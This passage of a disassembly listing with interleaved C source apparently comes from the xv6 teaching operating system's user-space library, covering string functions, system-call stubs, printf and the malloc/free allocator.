%ebx,%ecx 196: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 199: 0f b6 02 movzbl (%edx),%eax p++, q++; 19c: 8d 59 01 lea 0x1(%ecx),%ebx while(*p && *p == *q) 19f: 0f b6 49 01 movzbl 0x1(%ecx),%ecx 1a3: 84 c0 test %al,%al 1a5: 75 e9 jne 190 <strcmp+0x20> 1a7: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 1a9: 29 c8 sub %ecx,%eax } 1ab: 5b pop %ebx 1ac: 5d pop %ebp 1ad: c3 ret 1ae: 0f b6 09 movzbl (%ecx),%ecx while(*p && *p == *q) 1b1: 31 c0 xor %eax,%eax 1b3: eb f4 jmp 1a9 <strcmp+0x39> 1b5: 0f b6 cb movzbl %bl,%ecx 1b8: eb ef jmp 1a9 <strcmp+0x39> 1ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 000001c0 <strlen>: uint strlen(const char *s) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1c6: 80 39 00 cmpb $0x0,(%ecx) 1c9: 74 12 je 1dd <strlen+0x1d> 1cb: 31 d2 xor %edx,%edx 1cd: 8d 76 00 lea 0x0(%esi),%esi 1d0: 83 c2 01 add $0x1,%edx 1d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1d7: 89 d0 mov %edx,%eax 1d9: 75 f5 jne 1d0 <strlen+0x10> ; return n; } 1db: 5d pop %ebp 1dc: c3 ret for(n = 0; s[n]; n++) 1dd: 31 c0 xor %eax,%eax } 1df: 5d pop %ebp 1e0: c3 ret 1e1: eb 0d jmp 1f0 <memset> 1e3: 90 nop 1e4: 90 nop 1e5: 90 nop 1e6: 90 nop 1e7: 90 nop 1e8: 90 nop 1e9: 90 nop 1ea: 90 nop 1eb: 90 nop 1ec: 90 nop 1ed: 90 nop 1ee: 90 nop 1ef: 90 nop 000001f0 <memset>: void* memset(void *dst, int c, uint n) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 8b 55 08 mov 0x8(%ebp),%edx 1f6: 57 push %edi } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1f7: 8b 4d 10 mov 0x10(%ebp),%ecx 1fa: 8b 45 0c mov 0xc(%ebp),%eax 1fd: 89 d7 mov %edx,%edi 1ff: fc cld 200: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 202: 89 d0 mov %edx,%eax 204: 5f pop %edi 205: 5d pop %ebp 206: c3 ret 207: 89 f6 mov %esi,%esi 209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000210 <strchr>: char* strchr(const char *s, char c) { 210: 55 push %ebp 211: 89 e5 mov %esp,%ebp 213: 8b 45 08 mov 0x8(%ebp),%eax 216: 53 push %ebx 217: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) 21a: 0f b6 18 movzbl (%eax),%ebx 21d: 84 db test %bl,%bl 21f: 74 1d je 23e <strchr+0x2e> if(*s == c) 221: 38 d3 cmp %dl,%bl 223: 89 d1 mov %edx,%ecx 225: 75 0d jne 234 <strchr+0x24> 227: eb 17 jmp 240 <strchr+0x30> 229: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 230: 38 ca cmp %cl,%dl 232: 74 0c je 240 <strchr+0x30> for(; *s; s++) 234: 83 c0 01 add $0x1,%eax 237: 0f b6 10 movzbl (%eax),%edx 23a: 84 d2 test %dl,%dl 23c: 75 f2 jne 230 <strchr+0x20> return (char*)s; return 0; 23e: 31 c0 xor %eax,%eax } 240: 5b pop %ebx 241: 5d pop %ebp 242: c3 ret 243: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 249: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000250 <gets>: char* gets(char *buf, int max) { 250: 55 push %ebp 251: 89 e5 mov %esp,%ebp 253: 57 push %edi 254: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 255: 31 f6 xor %esi,%esi { 257: 53 push %ebx 258: 83 ec 2c sub $0x2c,%esp cc = read(0, &c, 1); 25b: 8d 7d e7 lea -0x19(%ebp),%edi for(i=0; i+1 < max; ){ 25e: eb 31 jmp 291 <gets+0x41> cc = read(0, &c, 1); 260: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 267: 00 268: 89 7c 24 04 mov %edi,0x4(%esp) 26c: c7 04 24 00 00 00 00 movl $0x0,(%esp) 273: e8 02 01 00 00 call 37a <read> if(cc < 1) 278: 85 c0 test %eax,%eax 27a: 7e 1d jle 299 <gets+0x49> break; buf[i++] = c; 27c: 0f b6 45 e7 movzbl -0x19(%ebp),%eax for(i=0; i+1 < max; ){ 280: 89 de mov %ebx,%esi buf[i++] = c; 282: 8b 55 08 mov 0x8(%ebp),%edx if(c == '\n' || c == '\r') 285: 3c 0d cmp $0xd,%al buf[i++] = c; 287: 88 44 1a ff mov %al,-0x1(%edx,%ebx,1) if(c == '\n' || c == '\r') 28b: 74 0c je 299 <gets+0x49> 28d: 3c 0a cmp $0xa,%al 28f: 74 08 je 299 <gets+0x49> for(i=0; i+1 < max; ){ 291: 8d 5e 01 lea 0x1(%esi),%ebx 294: 3b 5d 0c cmp 0xc(%ebp),%ebx 297: 7c c7 jl 260 <gets+0x10> break; } buf[i] = '\0'; 299: 8b 45 08 mov 0x8(%ebp),%eax 29c: c6 04 30 00 movb $0x0,(%eax,%esi,1) return buf; } 2a0: 83 c4 2c add $0x2c,%esp 2a3: 5b pop %ebx 2a4: 5e pop %esi 2a5: 5f pop %edi 2a6: 5d pop %ebp 2a7: c3 ret 2a8: 90 nop 2a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 000002b0 <stat>: int stat(const char *n, struct stat *st) { 2b0: 55 push %ebp 2b1: 89 e5 mov %esp,%ebp 2b3: 56 push %esi 2b4: 53 push %ebx 2b5: 83 ec 10 sub $0x10,%esp int fd; int r; fd = open(n, O_RDONLY); 2b8: 8b 45 08 mov 0x8(%ebp),%eax 2bb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 2c2: 00 2c3: 89 04 24 mov %eax,(%esp) 2c6: e8 d7 00 00 00 call 3a2 <open> if(fd < 0) 2cb: 85 c0 test %eax,%eax fd = open(n, O_RDONLY); 2cd: 89 c3 mov %eax,%ebx if(fd < 0) 2cf: 78 27 js 2f8 <stat+0x48> return -1; r = fstat(fd, st); 2d1: 8b 45 0c mov 0xc(%ebp),%eax 2d4: 89 1c 24 mov %ebx,(%esp) 2d7: 89 44 24 04 mov %eax,0x4(%esp) 2db: e8 da 00 00 00 call 3ba <fstat> close(fd); 2e0: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 2e3: 89 c6 mov %eax,%esi close(fd); 2e5: e8 a0 00 00 00 call 38a <close> return r; 2ea: 89 f0 mov %esi,%eax } 2ec: 83 c4 10 add $0x10,%esp 2ef: 5b pop %ebx 2f0: 5e pop %esi 2f1: 5d pop %ebp 2f2: c3 ret 2f3: 90 nop 2f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 2f8: b8 ff ff ff ff mov $0xffffffff,%eax 2fd: eb ed jmp 2ec <stat+0x3c> 2ff: 90 nop 00000300 <atoi>: int atoi(const char *s) { 300: 55 push %ebp 301: 89 e5 mov %esp,%ebp 303: 8b 4d 08 mov 0x8(%ebp),%ecx 306: 53 push %ebx int n; n = 0; while('0' <= *s && *s <= '9') 307: 0f be 11 movsbl (%ecx),%edx 30a: 8d 42 d0 lea -0x30(%edx),%eax 30d: 3c 09 cmp $0x9,%al n = 0; 30f: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 314: 77 17 ja 32d <atoi+0x2d> 316: 66 90 xchg %ax,%ax n = n*10 + *s++ - '0'; 318: 83 c1 01 add $0x1,%ecx 31b: 8d 04 80 lea (%eax,%eax,4),%eax 31e: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 322: 0f be 11 movsbl (%ecx),%edx 325: 8d 5a d0 lea -0x30(%edx),%ebx 328: 80 fb 09 cmp $0x9,%bl 32b: 76 eb jbe 318 <atoi+0x18> return n; } 32d: 5b pop %ebx 32e: 5d pop %ebp 32f: c3 ret 00000330 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 330: 55 push %ebp char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 331: 31 d2 xor %edx,%edx { 333: 89 e5 mov %esp,%ebp 335: 56 push %esi 336: 8b 45 08 mov 0x8(%ebp),%eax 339: 53 push %ebx 33a: 8b 5d 10 mov 0x10(%ebp),%ebx 33d: 8b 75 0c mov 0xc(%ebp),%esi while(n-- > 0) 340: 85 db test %ebx,%ebx 342: 7e 12 jle 356 <memmove+0x26> 344: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi *dst++ = *src++; 348: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 34c: 88 0c 10 mov %cl,(%eax,%edx,1) 34f: 83 c2 01 add $0x1,%edx while(n-- > 0) 352: 39 da cmp %ebx,%edx 354: 75 f2 jne 348 <memmove+0x18> return vdst; } 356: 5b pop %ebx 357: 5e pop %esi 358: 5d pop %ebp 359: c3 ret 0000035a <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 35a: b8 01 00 00 00 mov $0x1,%eax 35f: cd 40 int $0x40 361: c3 ret 00000362 <exit>: SYSCALL(exit) 362: b8 02 00 00 00 mov $0x2,%eax 367: cd 40 int $0x40 369: c3 ret 0000036a <wait>: SYSCALL(wait) 36a: b8 03 00 00 00 mov $0x3,%eax 36f: cd 40 int $0x40 371: c3 ret 00000372 <pipe>: SYSCALL(pipe) 372: b8 04 00 00 00 mov $0x4,%eax 377: cd 40 int $0x40 379: c3 ret 0000037a <read>: SYSCALL(read) 37a: b8 05 00 00 00 mov $0x5,%eax 37f: cd 40 int $0x40 381: c3 ret 00000382 <write>: SYSCALL(write) 382: b8 10 00 00 00 mov $0x10,%eax 387: cd 40 int $0x40 389: c3 ret 0000038a <close>: SYSCALL(close) 38a: b8 15 00 00 00 mov $0x15,%eax 38f: cd 40 int $0x40 391: c3 ret 00000392 <kill>: SYSCALL(kill) 392: b8 06 00 00 00 mov $0x6,%eax 397: cd 40 int $0x40 399: c3 ret 0000039a <exec>: SYSCALL(exec) 39a: b8 07 00 00 00 mov $0x7,%eax 39f: cd 40 int $0x40 3a1: c3 ret 000003a2 <open>: SYSCALL(open) 3a2: b8 0f 00 00 00 mov $0xf,%eax 3a7: cd 40 int $0x40 3a9: c3 ret 000003aa <mknod>: SYSCALL(mknod) 3aa: b8 11 00 00 00 mov $0x11,%eax 3af: cd 40 int $0x40 3b1: c3 ret 000003b2 <unlink>: SYSCALL(unlink) 3b2: b8 12 00 00 00 mov $0x12,%eax 3b7: cd 40 int $0x40 3b9: c3 ret 000003ba <fstat>: SYSCALL(fstat) 3ba: b8 08 00 00 00 mov $0x8,%eax 3bf: cd 40 int $0x40 3c1: c3 ret 000003c2 <link>: SYSCALL(link) 3c2: b8 13 00 00 00 mov $0x13,%eax 3c7: cd 40 int $0x40 3c9: c3 ret 000003ca <mkdir>: SYSCALL(mkdir) 3ca: b8 14 00 00 00 mov $0x14,%eax 3cf: cd 40 int $0x40 3d1: c3 ret 000003d2 <chdir>: SYSCALL(chdir) 3d2: b8 09 00 00 00 mov $0x9,%eax 3d7: cd 40 int $0x40 3d9: c3 ret 000003da <dup>: SYSCALL(dup) 3da: b8 0a 00 00 00 mov $0xa,%eax 3df: cd 40 int $0x40 3e1: c3 ret 000003e2 <getpid>: SYSCALL(getpid) 3e2: b8 0b 00 00 00 mov $0xb,%eax 3e7: cd 40 int $0x40 3e9: c3 ret 000003ea <sbrk>: SYSCALL(sbrk) 3ea: b8 0c 00 00 00 mov $0xc,%eax 3ef: cd 40 int $0x40 3f1: c3 ret 000003f2 <sleep>: SYSCALL(sleep) 3f2: b8 0d 00 00 00 mov $0xd,%eax 3f7: cd 40 int $0x40 3f9: c3 ret 000003fa <uptime>: SYSCALL(uptime) 3fa: b8 0e 00 00 00 mov $0xe,%eax 3ff: cd 40 int $0x40 401: c3 ret 402: 66 90 xchg %ax,%ax 404: 66 90 xchg %ax,%ax 406: 66 90 xchg %ax,%ax 408: 66 90 xchg %ax,%ax 40a: 66 90 xchg %ax,%ax 40c: 66 90 xchg %ax,%ax 40e: 66 90 xchg %ax,%ax 00000410 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 410: 55 push %ebp 411: 89 e5 mov %esp,%ebp 413: 57 push %edi 414: 56 push %esi 415: 89 c6 mov %eax,%esi 417: 53 push %ebx 418: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 41b: 8b 5d 08 mov 0x8(%ebp),%ebx 41e: 85 db test %ebx,%ebx 420: 74 09 je 42b <printint+0x1b> 422: 89 d0 mov %edx,%eax 424: c1 e8 1f shr $0x1f,%eax 427: 84 c0 test %al,%al 429: 75 75 jne 4a0 <printint+0x90> neg = 1; x = -xx; } else { x = xx; 42b: 89 d0 mov %edx,%eax neg = 0; 42d: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 434: 89 75 c0 mov %esi,-0x40(%ebp) } i = 0; 437: 31 ff xor %edi,%edi 439: 89 ce mov %ecx,%esi 43b: 8d 5d d7 lea -0x29(%ebp),%ebx 43e: eb 02 jmp 442 <printint+0x32> do{ buf[i++] = digits[x % base]; 440: 89 cf mov %ecx,%edi 442: 31 d2 xor %edx,%edx 444: f7 f6 div %esi 446: 8d 4f 01 lea 0x1(%edi),%ecx 449: 0f b6 92 40 08 00 00 movzbl 0x840(%edx),%edx }while((x /= base) != 0); 450: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 452: 88 14 0b mov %dl,(%ebx,%ecx,1) }while((x /= base) != 0); 455: 75 e9 jne 440 <printint+0x30> if(neg) 457: 8b 55 c4 mov -0x3c(%ebp),%edx buf[i++] = digits[x % base]; 45a: 89 c8 mov %ecx,%eax 45c: 8b 75 c0 mov -0x40(%ebp),%esi if(neg) 45f: 85 d2 test %edx,%edx 461: 74 08 je 46b <printint+0x5b> buf[i++] = '-'; 463: 8d 4f 02 lea 0x2(%edi),%ecx 466: c6 44 05 d8 2d movb $0x2d,-0x28(%ebp,%eax,1) while(--i >= 0) 46b: 8d 79 ff lea -0x1(%ecx),%edi 46e: 66 90 xchg %ax,%ax 470: 0f b6 44 3d d8 movzbl -0x28(%ebp,%edi,1),%eax 475: 83 ef 01 sub $0x1,%edi write(fd, &c, 1); 478: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 47f: 00 480: 89 5c 24 04 mov %ebx,0x4(%esp) 484: 89 34 24 mov %esi,(%esp) 487: 88 45 d7 mov %al,-0x29(%ebp) 48a: e8 f3 fe ff ff call 382 <write> while(--i >= 0) 48f: 83 ff ff cmp $0xffffffff,%edi 492: 75 dc jne 470 <printint+0x60> putc(fd, buf[i]); } 494: 83 c4 4c add $0x4c,%esp 497: 5b pop %ebx 498: 5e pop %esi 499: 5f pop %edi 49a: 5d pop %ebp 49b: c3 ret 49c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi x = -xx; 4a0: 89 d0 mov %edx,%eax 4a2: f7 d8 neg %eax neg = 1; 4a4: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 4ab: eb 87 jmp 434 <printint+0x24> 4ad: 8d 76 00 lea 0x0(%esi),%esi 000004b0 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 4b0: 55 push %ebp 4b1: 89 e5 mov %esp,%ebp 4b3: 57 push %edi char *s; int c, i, state; uint *ap; state = 0; 4b4: 31 ff xor %edi,%edi { 4b6: 56 push %esi 4b7: 53 push %ebx 4b8: 83 ec 3c sub $0x3c,%esp ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4bb: 8b 5d 0c mov 0xc(%ebp),%ebx ap = (uint*)(void*)&fmt + 1; 4be: 8d 45 10 lea 0x10(%ebp),%eax { 4c1: 8b 75 08 mov 0x8(%ebp),%esi ap = (uint*)(void*)&fmt + 1; 4c4: 89 45 d4 mov %eax,-0x2c(%ebp) for(i = 0; fmt[i]; i++){ 4c7: 0f b6 13 movzbl (%ebx),%edx 4ca: 83 c3 01 add $0x1,%ebx 4cd: 84 d2 test %dl,%dl 4cf: 75 39 jne 50a <printf+0x5a> 4d1: e9 c2 00 00 00 jmp 598 <printf+0xe8> 4d6: 66 90 xchg %ax,%ax c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4d8: 83 fa 25 cmp $0x25,%edx 4db: 0f 84 bf 00 00 00 je 5a0 <printf+0xf0> write(fd, &c, 1); 4e1: 8d 45 e2 lea -0x1e(%ebp),%eax 4e4: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 4eb: 00 4ec: 89 44 24 04 mov %eax,0x4(%esp) 4f0: 89 34 24 mov %esi,(%esp) state = '%'; } else { putc(fd, c); 4f3: 88 55 e2 mov %dl,-0x1e(%ebp) write(fd, &c, 1); 4f6: e8 87 fe ff ff call 382 <write> 4fb: 83 c3 01 add $0x1,%ebx for(i = 0; fmt[i]; i++){ 4fe: 0f b6 53 ff movzbl -0x1(%ebx),%edx 502: 84 d2 test %dl,%dl 504: 0f 84 8e 00 00 00 je 598 <printf+0xe8> if(state == 0){ 50a: 85 ff test %edi,%edi c = fmt[i] & 0xff; 50c: 0f be c2 movsbl %dl,%eax if(state == 0){ 50f: 74 c7 je 4d8 <printf+0x28> } } else if(state == '%'){ 511: 83 ff 25 cmp $0x25,%edi 514: 75 e5 jne 4fb <printf+0x4b> if(c == 'd'){ 516: 83 fa 64 cmp $0x64,%edx 519: 0f 84 31 01 00 00 je 650 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 51f: 25 f7 00 00 00 and $0xf7,%eax 524: 83 f8 70 cmp $0x70,%eax 527: 0f 84 83 00 00 00 je 5b0 <printf+0x100> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 52d: 83 fa 73 cmp $0x73,%edx 530: 0f 84 a2 00 00 00 je 5d8 <printf+0x128> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 536: 83 fa 63 cmp $0x63,%edx 539: 0f 84 35 01 00 00 je 674 <printf+0x1c4> putc(fd, *ap); ap++; } else if(c == '%'){ 53f: 83 fa 25 cmp $0x25,%edx 542: 0f 84 e0 00 00 00 je 628 <printf+0x178> write(fd, &c, 1); 548: 8d 45 e6 lea -0x1a(%ebp),%eax 54b: 83 c3 01 add $0x1,%ebx 54e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 555: 00 } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); putc(fd, c); } state = 0; 556: 31 ff xor %edi,%edi write(fd, &c, 1); 558: 89 44 24 04 mov %eax,0x4(%esp) 55c: 89 34 24 mov %esi,(%esp) 55f: 89 55 d0 mov %edx,-0x30(%ebp) 562: c6 45 e6 25 movb $0x25,-0x1a(%ebp) 566: e8 17 fe ff ff call 382 <write> putc(fd, c); 56b: 8b 55 d0 mov -0x30(%ebp),%edx write(fd, &c, 1); 56e: 8d 45 e7 lea -0x19(%ebp),%eax 571: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 578: 00 579: 89 44 24 04 mov %eax,0x4(%esp) 57d: 89 34 24 mov %esi,(%esp) putc(fd, c); 580: 88 55 e7 mov %dl,-0x19(%ebp) write(fd, &c, 1); 583: e8 fa fd ff ff call 382 <write> for(i = 0; fmt[i]; i++){ 588: 0f b6 53 ff movzbl -0x1(%ebx),%edx 58c: 84 d2 test %dl,%dl 58e: 0f 85 76 ff ff ff jne 50a <printf+0x5a> 594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } } } 598: 83 c4 3c add $0x3c,%esp 59b: 5b pop %ebx 59c: 5e pop %esi 59d: 5f pop %edi 59e: 5d pop %ebp 59f: c3 ret state = '%'; 5a0: bf 25 00 00 00 mov $0x25,%edi 5a5: e9 51 ff ff ff jmp 4fb <printf+0x4b> 5aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 16, 0); 5b0: 8b 45 d4 mov -0x2c(%ebp),%eax 5b3: b9 10 00 00 00 mov $0x10,%ecx state = 0; 5b8: 31 ff xor %edi,%edi printint(fd, *ap, 16, 0); 5ba: c7 04 24 00 00 00 00 movl $0x0,(%esp) 5c1: 8b 10 mov (%eax),%edx 5c3: 89 f0 mov %esi,%eax 5c5: e8 46 fe ff ff call 410 <printint> ap++; 5ca: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5ce: e9 28 ff ff ff jmp 4fb <printf+0x4b> 5d3: 90 nop 5d4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi s = (char*)*ap; 5d8: 8b 45 d4 mov -0x2c(%ebp),%eax ap++; 5db: 83 45 d4 04 addl $0x4,-0x2c(%ebp) s = (char*)*ap; 5df: 8b 38 mov (%eax),%edi s = "(null)"; 5e1: b8 39 08 00 00 mov $0x839,%eax 5e6: 85 ff test %edi,%edi 5e8: 0f 44 f8 cmove %eax,%edi while(*s != 0){ 5eb: 0f b6 07 movzbl (%edi),%eax 5ee: 84 c0 test %al,%al 5f0: 74 2a je 61c <printf+0x16c> 5f2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 5f8: 88 45 e3 mov %al,-0x1d(%ebp) write(fd, &c, 1); 5fb: 8d 45 e3 lea -0x1d(%ebp),%eax s++; 5fe: 83 c7 01 add $0x1,%edi write(fd, &c, 1); 601: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 608: 00 609: 89 44 24 04 mov %eax,0x4(%esp) 60d: 89 34 24 mov %esi,(%esp) 610: e8 6d fd ff ff call 382 <write> while(*s != 0){ 615: 0f b6 07 movzbl (%edi),%eax 618: 84 c0 test %al,%al 61a: 75 dc jne 5f8 <printf+0x148> state = 0; 61c: 31 ff xor %edi,%edi 61e: e9 d8 fe ff ff jmp 4fb <printf+0x4b> 623: 90 nop 624: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi write(fd, &c, 1); 628: 8d 45 e5 lea -0x1b(%ebp),%eax state = 0; 62b: 31 ff xor %edi,%edi write(fd, &c, 1); 62d: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 634: 00 635: 89 44 24 04 mov %eax,0x4(%esp) 639: 89 34 24 mov %esi,(%esp) 63c: c6 45 e5 25 movb $0x25,-0x1b(%ebp) 640: e8 3d fd ff ff call 382 <write> 645: e9 b1 fe ff ff jmp 4fb <printf+0x4b> 64a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi printint(fd, *ap, 10, 1); 650: 8b 45 d4 mov -0x2c(%ebp),%eax 653: b9 0a 00 00 00 mov $0xa,%ecx state = 0; 658: 66 31 ff xor %di,%di printint(fd, *ap, 10, 1); 65b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 662: 8b 10 mov (%eax),%edx 664: 89 f0 mov %esi,%eax 666: e8 a5 fd ff ff call 410 <printint> ap++; 66b: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 66f: e9 87 fe ff ff jmp 4fb <printf+0x4b> putc(fd, *ap); 674: 8b 45 d4 mov -0x2c(%ebp),%eax state = 0; 677: 31 ff xor %edi,%edi putc(fd, *ap); 679: 8b 00 mov (%eax),%eax write(fd, &c, 1); 67b: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 682: 00 683: 89 34 24 mov %esi,(%esp) putc(fd, *ap); 686: 88 45 e4 mov %al,-0x1c(%ebp) write(fd, &c, 1); 689: 8d 45 e4 lea -0x1c(%ebp),%eax 68c: 89 44 24 04 mov %eax,0x4(%esp) 690: e8 ed fc ff ff call 382 <write> ap++; 695: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 699: e9 5d fe ff ff jmp 4fb <printf+0x4b> 69e: 66 90 xchg %ax,%ax 000006a0 <free>: static Header base; static Header *freep; void free(void *ap) { 6a0: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6a1: a1 bc 0a 00 00 mov 0xabc,%eax { 6a6: 89 e5 mov %esp,%ebp 6a8: 57 push %edi 6a9: 56 push %esi 6aa: 53 push %ebx 6ab: 8b 5d 08 mov 0x8(%ebp),%ebx if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6ae: 8b 08 mov (%eax),%ecx bp = (Header*)ap - 1; 6b0: 8d 53 f8 lea -0x8(%ebx),%edx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6b3: 39 d0 cmp %edx,%eax 6b5: 72 11 jb 6c8 <free+0x28> 6b7: 90 nop if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6b8: 39 c8 cmp %ecx,%eax 6ba: 72 04 jb 6c0 <free+0x20> 6bc: 39 ca cmp %ecx,%edx 6be: 72 10 jb 6d0 <free+0x30> 6c0: 89 c8 mov %ecx,%eax for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6c2: 39 d0 cmp %edx,%eax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6c4: 8b 08 mov (%eax),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6c6: 73 f0 jae 6b8 <free+0x18> 6c8: 39 ca cmp %ecx,%edx 6ca: 72 04 jb 6d0 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6cc: 39 c8 cmp %ecx,%eax 6ce: 72 f0 jb 6c0 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 6d0: 8b 73 fc mov -0x4(%ebx),%esi 6d3: 8d 3c f2 lea (%edx,%esi,8),%edi 6d6: 39 cf cmp %ecx,%edi 6d8: 74 1e je 6f8 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6da: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 6dd: 8b 48 04 mov 0x4(%eax),%ecx 6e0: 8d 34 c8 lea (%eax,%ecx,8),%esi 6e3: 39 f2 cmp %esi,%edx 6e5: 74 28 je 70f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6e7: 89 10 mov %edx,(%eax) freep = p; 6e9: a3 bc 0a 00 00 mov %eax,0xabc } 6ee: 5b pop %ebx 6ef: 5e pop %esi 6f0: 5f pop %edi 6f1: 5d pop %ebp 6f2: c3 ret 6f3: 90 nop 6f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp->s.size += p->s.ptr->s.size; 6f8: 03 71 04 add 0x4(%ecx),%esi 6fb: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 6fe: 8b 08 mov (%eax),%ecx 700: 8b 09 mov (%ecx),%ecx 702: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 705: 8b 48 04 mov 0x4(%eax),%ecx 708: 8d 34 c8 lea (%eax,%ecx,8),%esi 70b: 39 f2 cmp %esi,%edx 70d: 75 d8 jne 6e7 <free+0x47> p->s.size += bp->s.size; 70f: 03 4b fc add -0x4(%ebx),%ecx freep = p; 712: a3 bc 0a 00 00 mov %eax,0xabc p->s.size += bp->s.size; 717: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 71a: 8b 53 f8 mov -0x8(%ebx),%edx 71d: 89 10 mov %edx,(%eax) } 71f: 5b pop %ebx 720: 5e pop %esi 721: 5f pop %edi 722: 5d pop %ebp 723: c3 ret 724: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 72a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000730 <malloc>: return freep; } void* malloc(uint nbytes) { 730: 55 push %ebp 731: 89 e5 mov %esp,%ebp 733: 57 push %edi 734: 56 push %esi 735: 53 push %ebx 736: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 739: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 73c: 8b 1d bc 0a 00 00 mov 0xabc,%ebx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 742: 8d 48 07 lea 0x7(%eax),%ecx 745: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 748: 85 db test %ebx,%ebx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 74a: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 74d: 0f 84 9b 00 00 00 je 7ee <malloc+0xbe> 753: 8b 13 mov (%ebx),%edx 755: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 758: 39 fe cmp %edi,%esi 75a: 76 64 jbe 7c0 <malloc+0x90> 75c: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax if(nu < 4096) 763: bb 00 80 00 00 mov $0x8000,%ebx 768: 89 45 e4 mov %eax,-0x1c(%ebp) 76b: eb 0e jmp 77b <malloc+0x4b> 76d: 8d 76 00 lea 0x0(%esi),%esi for(p = prevp->s.ptr; ; prevp = p, p = 